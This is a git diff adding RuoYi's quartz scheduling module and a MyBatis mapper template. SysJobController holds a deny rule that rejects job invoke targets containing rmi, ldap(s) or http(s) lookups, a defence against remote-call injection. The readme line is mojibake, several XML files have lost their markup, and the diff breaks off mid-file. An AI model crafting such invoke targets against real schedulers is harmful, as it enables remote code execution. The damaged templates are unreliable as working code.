b/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt @@ -0,0 +1 @@ +ʹõRuoYi-Vue3ǰˣôҪһ´Ŀ¼ģindex.vue.vmindex-tree.vue.vmļϼvueĿ¼ \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm b/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm new file mode 100644 index 0000000..0ceb3d8 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm @@ -0,0 +1,135 @@ + + + + + +#foreach ($column in $columns) + +#end + +#if($table.sub) + + + + + + +#foreach ($column in $subTable.columns) + +#end + +#end + + + select#foreach($column in $columns) $column.columnName#if($foreach.count != $columns.size()),#end#end from ${tableName} + + + + + + + + insert into ${tableName} + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) + $column.columnName, +#end +#end + + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) + #{$column.javaField}, +#end +#end + + + + + update ${tableName} + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName) + $column.columnName = #{$column.javaField}, +#end +#end + + where ${pkColumn.columnName} = #{${pkColumn.javaField}} + + + + delete from ${tableName} where ${pkColumn.columnName} = #{${pkColumn.javaField}} + + + + delete from ${tableName} where ${pkColumn.columnName} in + + #{${pkColumn.javaField}} + + +#if($table.sub) + + + delete from ${subTableName} where ${subTableFkName} in + + #{${subTableFkclassName}} + + + + + delete from ${subTableName} where ${subTableFkName} = #{${subTableFkclassName}} + + + + insert into ${subTableName}(#foreach($column in $subTable.columns) $column.columnName#if($foreach.count != $subTable.columns.size()),#end#end) values + + (#foreach($column in $subTable.columns) #{item.$column.javaField}#if($foreach.count != $subTable.columns.size()),#end#end) + + +#end + \ No newline at end of file diff --git a/ruoyi-quartz/pom.xml b/ruoyi-quartz/pom.xml new file mode 100644 index 0000000..5c7b9f4 --- /dev/null +++ b/ruoyi-quartz/pom.xml @@ -0,0 +1,44 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-quartz + + + quartz定时任务 + + + + + + + org.quartz-scheduler + quartz + + + com.mchange + c3p0 + + + + + + + com.ruoyi + ruoyi-common + + + com.ruoyi + ruoyi-system + + + + + \ No newline at end of file diff --git a/ruoyi-quartz/ruoyi-quartz.iml b/ruoyi-quartz/ruoyi-quartz.iml new file mode 100644 index 0000000..1183f4b --- /dev/null +++ b/ruoyi-quartz/ruoyi-quartz.iml @@ -0,0 +1,281 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java new file mode 100644 index 0000000..a558170 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java @@ -0,0 +1,57 @@ +//package com.ruoyi.quartz.config; +// +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.scheduling.quartz.SchedulerFactoryBean; +//import javax.sql.DataSource; +//import java.util.Properties; +// +///** +// * 定时任务配置(单机部署建议删除此类和qrtz数据库表,默认走内存会最高效) +// * +// * @author ruoyi +// */ +//@Configuration +//public class ScheduleConfig +//{ +// @Bean +// public SchedulerFactoryBean schedulerFactoryBean(DataSource dataSource) +// { +// SchedulerFactoryBean factory = new SchedulerFactoryBean(); +// factory.setDataSource(dataSource); +// +// // quartz参数 +// Properties prop = new Properties(); +// prop.put("org.quartz.scheduler.instanceName", "RuoyiScheduler"); +// prop.put("org.quartz.scheduler.instanceId", "AUTO"); +// // 线程池配置 +// prop.put("org.quartz.threadPool.class", "org.quartz.simpl.SimpleThreadPool"); +// prop.put("org.quartz.threadPool.threadCount", "20"); +// prop.put("org.quartz.threadPool.threadPriority", "5"); +// // JobStore配置 +// prop.put("org.quartz.jobStore.class", "org.springframework.scheduling.quartz.LocalDataSourceJobStore"); +// // 集群配置 +// prop.put("org.quartz.jobStore.isClustered", "true"); +// prop.put("org.quartz.jobStore.clusterCheckinInterval", "15000"); +// prop.put("org.quartz.jobStore.maxMisfiresToHandleAtATime", "1"); +// prop.put("org.quartz.jobStore.txIsolationLevelSerializable", "true"); +// +// // sqlserver 启用 +// // prop.put("org.quartz.jobStore.selectWithLockSQL", "SELECT * FROM {0}LOCKS UPDLOCK WHERE LOCK_NAME = ?"); +// prop.put("org.quartz.jobStore.misfireThreshold", "12000"); +// prop.put("org.quartz.jobStore.tablePrefix", "QRTZ_"); +// factory.setQuartzProperties(prop); +// +// factory.setSchedulerName("RuoyiScheduler"); +// // 延时启动 +// factory.setStartupDelay(1); +// factory.setApplicationContextSchedulerContextKey("applicationContextKey"); +// // 可选,QuartzScheduler +// // 启动时更新己存在的Job,这样就不用每次修改targetObject后删除qrtz_job_details表对应记录了 +// factory.setOverwriteExistingJobs(true); +// // 设置自动启动,默认为true +// factory.setAutoStartup(true); +// +// return factory; +// } +//} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java new file mode 100644 index 0000000..139361b --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java @@ -0,0 +1,185 @@ +package com.ruoyi.quartz.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.quartz.SchedulerException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.service.ISysJobService; +import com.ruoyi.quartz.util.CronUtils; +import com.ruoyi.quartz.util.ScheduleUtils; + +/** + * 调度任务信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/job") +public class SysJobController extends BaseController +{ + @Autowired + private ISysJobService jobService; + + /** + * 查询定时任务列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:list')") + @GetMapping("/list") + public TableDataInfo list(SysJob sysJob) + { + startPage(); + List list = jobService.selectJobList(sysJob); + return getDataTable(list); + } + + /** + * 导出定时任务列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:export')") + @Log(title = "定时任务", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, SysJob sysJob) + { + List list = jobService.selectJobList(sysJob); + ExcelUtil util = new ExcelUtil(SysJob.class); + util.exportExcel(response, list, "定时任务"); + } + + /** + * 获取定时任务详细信息 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:query')") + @GetMapping(value = "/{jobId}") + public AjaxResult getInfo(@PathVariable("jobId") Long jobId) + { + return success(jobService.selectJobById(jobId)); + } + + /** + * 新增定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:add')") + @Log(title = "定时任务", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody SysJob job) throws SchedulerException, TaskException + { + if (!CronUtils.isValid(job.getCronExpression())) + { + return error("新增任务'" + job.getJobName() + "'失败,Cron表达式不正确"); + } + else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串存在违规"); + } + else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) + { + return error("新增任务'" + job.getJobName() + "'失败,目标字符串不在白名单内"); + } + job.setCreateBy(getUsername()); + return toAjax(jobService.insertJob(job)); + } + + /** + * 修改定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:edit')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody SysJob job) throws SchedulerException, TaskException + { + if (!CronUtils.isValid(job.getCronExpression())) + { + return error("修改任务'" + job.getJobName() + "'失败,Cron表达式不正确"); + } + else if (StringUtils.containsIgnoreCase(job.getInvokeTarget(), Constants.LOOKUP_RMI)) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'rmi'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.LOOKUP_LDAP, Constants.LOOKUP_LDAPS })) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'ldap(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), new String[] { Constants.HTTP, Constants.HTTPS })) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不允许'http(s)'调用"); + } + else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR)) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串存在违规"); + } + else if (!ScheduleUtils.whiteList(job.getInvokeTarget())) + { + return error("修改任务'" + job.getJobName() + "'失败,目标字符串不在白名单内"); + } + job.setUpdateBy(getUsername()); + return toAjax(jobService.updateJob(job)); + } + + /** + * 定时任务状态修改 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysJob job) throws SchedulerException + { + SysJob newJob = jobService.selectJobById(job.getJobId()); + newJob.setStatus(job.getStatus()); + return toAjax(jobService.changeStatus(newJob)); + } + + /** + * 定时任务立即执行一次 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:changeStatus')") + @Log(title = "定时任务", businessType = BusinessType.UPDATE) + @PutMapping("/run") + public AjaxResult run(@RequestBody SysJob job) throws SchedulerException + { + boolean result = jobService.run(job); + return result ? success() : error("任务不存在或已过期!"); + } + + /** + * 删除定时任务 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "定时任务", businessType = BusinessType.DELETE) + @DeleteMapping("/{jobIds}") + public AjaxResult remove(@PathVariable Long[] jobIds) throws SchedulerException, TaskException + { + jobService.deleteJobByIds(jobIds); + return success(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java new file mode 100644 index 0000000..62ecbab --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java @@ -0,0 +1,92 @@ +package com.ruoyi.quartz.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 调度日志操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/monitor/jobLog") +public class SysJobLogController extends BaseController +{ + @Autowired + private ISysJobLogService jobLogService; + + /** + * 查询定时任务调度日志列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:list')") + @GetMapping("/list") + public TableDataInfo list(SysJobLog sysJobLog) + { + startPage(); + List list = jobLogService.selectJobLogList(sysJobLog); + return getDataTable(list); + } + + /** + * 导出定时任务调度日志列表 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:export')") + @Log(title = "任务调度日志", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, SysJobLog sysJobLog) + { + List list = jobLogService.selectJobLogList(sysJobLog); + ExcelUtil util = new ExcelUtil(SysJobLog.class); + util.exportExcel(response, list, "调度日志"); + } + + /** + * 根据调度编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:query')") + @GetMapping(value = "/{jobLogId}") + public AjaxResult getInfo(@PathVariable Long jobLogId) + { + return success(jobLogService.selectJobLogById(jobLogId)); + } + + + /** + * 删除定时任务调度日志 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "定时任务调度日志", businessType = BusinessType.DELETE) + @DeleteMapping("/{jobLogIds}") + public AjaxResult remove(@PathVariable Long[] jobLogIds) + { + return toAjax(jobLogService.deleteJobLogByIds(jobLogIds)); + } + + /** + * 清空定时任务调度日志 + */ + @PreAuthorize("@ss.hasPermi('monitor:job:remove')") + @Log(title = "调度日志", businessType = BusinessType.CLEAN) + @DeleteMapping("/clean") + public AjaxResult clean() + { + jobLogService.cleanJobLog(); + return success(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java new file mode 100644 index 0000000..1f49695 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java @@ -0,0 +1,171 @@ +package com.ruoyi.quartz.domain; + +import java.util.Date; +import javax.validation.constraints.NotBlank; +import javax.validation.constraints.Size; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.annotation.Excel.ColumnType; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.quartz.util.CronUtils; + +/** + * 定时任务调度表 sys_job + * + * @author ruoyi + */ +public class SysJob extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 任务ID */ + @Excel(name = "任务序号", cellType = ColumnType.NUMERIC) + private Long jobId; + + /** 任务名称 */ + @Excel(name = "任务名称") + private String jobName; + + /** 任务组名 */ + @Excel(name = "任务组名") + private String jobGroup; + + /** 调用目标字符串 */ + @Excel(name = "调用目标字符串") + private String invokeTarget; + + /** cron执行表达式 */ + @Excel(name = "执行表达式 ") + private String cronExpression; + + /** cron计划策略 */ + @Excel(name = "计划策略 ", readConverterExp = "0=默认,1=立即触发执行,2=触发一次执行,3=不触发立即执行") + private String misfirePolicy = ScheduleConstants.MISFIRE_DEFAULT; + + /** 是否并发执行(0允许 1禁止) */ + @Excel(name = "并发执行", readConverterExp = "0=允许,1=禁止") + private String concurrent; + + /** 任务状态(0正常 1暂停) */ + @Excel(name = "任务状态", readConverterExp = "0=正常,1=暂停") + private String status; + + public Long getJobId() + { + return jobId; + } + + public void setJobId(Long jobId) + { + this.jobId = jobId; + } + + @NotBlank(message = "任务名称不能为空") + @Size(min = 0, max = 64, message = "任务名称不能超过64个字符") + public String getJobName() + { + return jobName; + } + + public void setJobName(String jobName) + { + this.jobName = jobName; + } + + public String getJobGroup() + { + return jobGroup; + } + + public void setJobGroup(String jobGroup) + { + this.jobGroup = jobGroup; + } + + @NotBlank(message = "调用目标字符串不能为空") + @Size(min = 0, max = 500, message = "调用目标字符串长度不能超过500个字符") + public String getInvokeTarget() + { + return invokeTarget; + } + + public void setInvokeTarget(String invokeTarget) + { + this.invokeTarget = invokeTarget; + } + + @NotBlank(message = "Cron执行表达式不能为空") + @Size(min = 0, max = 255, message = "Cron执行表达式不能超过255个字符") + public String getCronExpression() + { + return cronExpression; + } + + public void setCronExpression(String cronExpression) + { + this.cronExpression = cronExpression; + } + + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + public Date getNextValidTime() + { + if (StringUtils.isNotEmpty(cronExpression)) + { + return CronUtils.getNextExecution(cronExpression); + } + return null; + } + + public String getMisfirePolicy() + { + return misfirePolicy; + } + + public void setMisfirePolicy(String misfirePolicy) + { + this.misfirePolicy = misfirePolicy; + } + + public String getConcurrent() + { + return concurrent; + } + + public void setConcurrent(String concurrent) + { + this.concurrent = concurrent; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("jobId", getJobId()) + .append("jobName", getJobName()) + .append("jobGroup", getJobGroup()) + .append("cronExpression", getCronExpression()) + .append("nextValidTime", getNextValidTime()) + .append("misfirePolicy", getMisfirePolicy()) + .append("concurrent", getConcurrent()) + .append("status", getStatus()) + .append("createBy", getCreateBy()) + .append("createTime", getCreateTime()) + .append("updateBy", getUpdateBy()) + .append("updateTime", getUpdateTime()) + .append("remark", getRemark()) + .toString(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java new file mode 100644 index 0000000..121c035 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java @@ -0,0 +1,155 @@ +package com.ruoyi.quartz.domain; + +import java.util.Date; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 定时任务调度日志表 sys_job_log + * + * @author ruoyi + */ +public class SysJobLog extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** ID */ + @Excel(name = "日志序号") + private Long jobLogId; + + /** 任务名称 */ + @Excel(name = "任务名称") + private String jobName; + + /** 任务组名 */ + @Excel(name = "任务组名") + private String jobGroup; + + /** 调用目标字符串 */ + @Excel(name = "调用目标字符串") + private String invokeTarget; + + /** 日志信息 */ + @Excel(name = "日志信息") + private String jobMessage; + + /** 执行状态(0正常 1失败) */ + @Excel(name = "执行状态", readConverterExp = "0=正常,1=失败") + private String status; + + /** 异常信息 */ + @Excel(name = "异常信息") + private String exceptionInfo; + + /** 开始时间 */ + private Date startTime; + + /** 停止时间 */ + private Date stopTime; + + public Long getJobLogId() + { + return jobLogId; + } + + public void setJobLogId(Long jobLogId) + { + this.jobLogId = jobLogId; + } + + public String getJobName() + { + return jobName; + } + + public void setJobName(String jobName) + { + this.jobName = jobName; + } + + public String getJobGroup() + { + return jobGroup; + } + + public void setJobGroup(String jobGroup) + { + this.jobGroup = jobGroup; + } + + public String getInvokeTarget() + { + return invokeTarget; + } + + public void setInvokeTarget(String invokeTarget) + { + this.invokeTarget = invokeTarget; + } + + public String getJobMessage() + { + return jobMessage; + } + + public void setJobMessage(String jobMessage) + { + this.jobMessage = jobMessage; + } + + public String getStatus() + { + return status; + } + + public void setStatus(String status) + { + this.status = status; + } + + public String getExceptionInfo() + { + return exceptionInfo; + } + + public void setExceptionInfo(String exceptionInfo) + { + this.exceptionInfo = exceptionInfo; + } + + public Date getStartTime() + { + return startTime; + } + + public void setStartTime(Date startTime) + { + this.startTime = startTime; + } + + public Date getStopTime() + { + return stopTime; + } + + public void setStopTime(Date stopTime) + { + this.stopTime = stopTime; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("jobLogId", getJobLogId()) + .append("jobName", getJobName()) + .append("jobGroup", getJobGroup()) + .append("jobMessage", getJobMessage()) + .append("status", getStatus()) + .append("exceptionInfo", getExceptionInfo()) + .append("startTime", getStartTime()) + .append("stopTime", getStopTime()) + .toString(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java new file mode 100644 index 0000000..727d916 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.quartz.mapper; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJobLog; + +/** + * 调度任务日志信息 数据层 + * + * @author ruoyi + */ +public interface SysJobLogMapper +{ + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + public List selectJobLogList(SysJobLog jobLog); + + /** + * 查询所有调度任务日志 + * + * @return 调度任务日志列表 + */ + public List selectJobLogAll(); + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + public SysJobLog selectJobLogById(Long jobLogId); + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + * @return 结果 + */ + public int insertJobLog(SysJobLog jobLog); + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的数据ID + * @return 结果 + */ + public int deleteJobLogByIds(Long[] logIds); + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + * @return 结果 + */ + public int deleteJobLogById(Long jobId); + + /** + * 清空任务日志 + */ + public void cleanJobLog(); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java new file mode 100644 index 0000000..20f45db --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java @@ -0,0 +1,67 @@ +package com.ruoyi.quartz.mapper; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 调度任务信息 数据层 + * + * @author ruoyi + */ +public interface SysJobMapper +{ + /** + * 查询调度任务日志集合 + * + * @param job 调度信息 + * @return 操作日志集合 + */ + public List selectJobList(SysJob job); + + /** + * 查询所有调度任务 + * + * @return 调度任务列表 + */ + public List selectJobAll(); + + /** + * 通过调度ID查询调度任务信息 + * + * @param jobId 调度ID + * @return 角色对象信息 + */ + public SysJob selectJobById(Long jobId); + + /** + * 通过调度ID删除调度任务信息 + * + * @param jobId 调度ID + * @return 结果 + */ + public int deleteJobById(Long jobId); + + /** + * 批量删除调度任务信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteJobByIds(Long[] ids); + + /** + * 修改调度任务信息 + * + * @param job 调度任务信息 + * @return 结果 + */ + public int updateJob(SysJob job); + + /** + * 新增调度任务信息 + * + * @param job 调度任务信息 + * @return 结果 + */ + public int insertJob(SysJob job); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java new file mode 100644 index 0000000..8546792 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java @@ -0,0 +1,56 @@ +package com.ruoyi.quartz.service; + +import java.util.List; +import com.ruoyi.quartz.domain.SysJobLog; + +/** + * 定时任务调度日志信息信息 服务层 + * + * @author ruoyi + */ +public interface ISysJobLogService +{ + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + public List selectJobLogList(SysJobLog jobLog); + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + public SysJobLog selectJobLogById(Long jobLogId); + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + */ + public void addJobLog(SysJobLog jobLog); + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的日志ID + * @return 结果 + */ + public int deleteJobLogByIds(Long[] logIds); + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + * @return 结果 + */ + public int deleteJobLogById(Long jobId); + + /** + * 清空任务日志 + */ + public void cleanJobLog(); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java new file mode 100644 index 0000000..437ade8 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java @@ -0,0 +1,102 @@ +package com.ruoyi.quartz.service; + +import java.util.List; +import org.quartz.SchedulerException; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务调度信息信息 服务层 + * + * @author ruoyi + */ +public interface ISysJobService +{ + /** + * 获取quartz调度器的计划任务 + * + * @param job 调度信息 + * @return 调度任务集合 + */ + public List selectJobList(SysJob job); + + /** + * 通过调度任务ID查询调度信息 + * + * @param jobId 调度任务ID + * @return 调度任务对象信息 + */ + public SysJob selectJobById(Long jobId); + + /** + * 暂停任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int pauseJob(SysJob job) throws SchedulerException; + + /** + * 恢复任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int resumeJob(SysJob job) throws SchedulerException; + + /** + * 删除任务后,所对应的trigger也将被删除 + * + * @param job 调度信息 + * @return 结果 + */ + public int deleteJob(SysJob job) throws SchedulerException; + + /** + * 批量删除调度信息 + * + * @param jobIds 需要删除的任务ID + * @return 结果 + */ + public void deleteJobByIds(Long[] jobIds) throws SchedulerException; + + /** + * 任务调度状态修改 + * + * @param job 调度信息 + * @return 结果 + */ + public int changeStatus(SysJob job) throws SchedulerException; + + /** + * 立即运行任务 + * + * @param job 调度信息 + * @return 结果 + */ + public boolean run(SysJob job) throws SchedulerException; + + /** + * 新增任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int insertJob(SysJob job) throws SchedulerException, TaskException; + + /** + * 更新任务 + * + * @param job 调度信息 + * @return 结果 + */ + public int updateJob(SysJob job) throws SchedulerException, TaskException; + + /** + * 校验cron表达式是否有效 + * + * @param cronExpression 表达式 + * @return 结果 + */ + public boolean checkCronExpressionIsValid(String cronExpression); +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java new file mode 100644 index 0000000..812eed7 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java @@ -0,0 +1,87 @@ +package com.ruoyi.quartz.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.mapper.SysJobLogMapper; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 定时任务调度日志信息 服务层 + * + * @author ruoyi + */ +@Service +public class SysJobLogServiceImpl implements ISysJobLogService +{ + @Autowired + private SysJobLogMapper jobLogMapper; + + /** + * 获取quartz调度器日志的计划任务 + * + * @param jobLog 调度日志信息 + * @return 调度任务日志集合 + */ + @Override + public List selectJobLogList(SysJobLog jobLog) + { + return jobLogMapper.selectJobLogList(jobLog); + } + + /** + * 通过调度任务日志ID查询调度信息 + * + * @param jobLogId 调度任务日志ID + * @return 调度任务日志对象信息 + */ + @Override + public SysJobLog selectJobLogById(Long jobLogId) + { + return jobLogMapper.selectJobLogById(jobLogId); + } + + /** + * 新增任务日志 + * + * @param jobLog 调度日志信息 + */ + @Override + public void addJobLog(SysJobLog jobLog) + { + jobLogMapper.insertJobLog(jobLog); + } + + /** + * 批量删除调度日志信息 + * + * @param logIds 需要删除的数据ID + * @return 结果 + */ + @Override + public int deleteJobLogByIds(Long[] logIds) + { + return jobLogMapper.deleteJobLogByIds(logIds); + } + + /** + * 删除任务日志 + * + * @param jobId 调度日志ID + */ + @Override + public int deleteJobLogById(Long jobId) + { + return jobLogMapper.deleteJobLogById(jobId); + } + + /** + * 清空任务日志 + */ + @Override + public void cleanJobLog() + { + jobLogMapper.cleanJobLog(); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java new file mode 100644 index 0000000..77fdbb5 --- 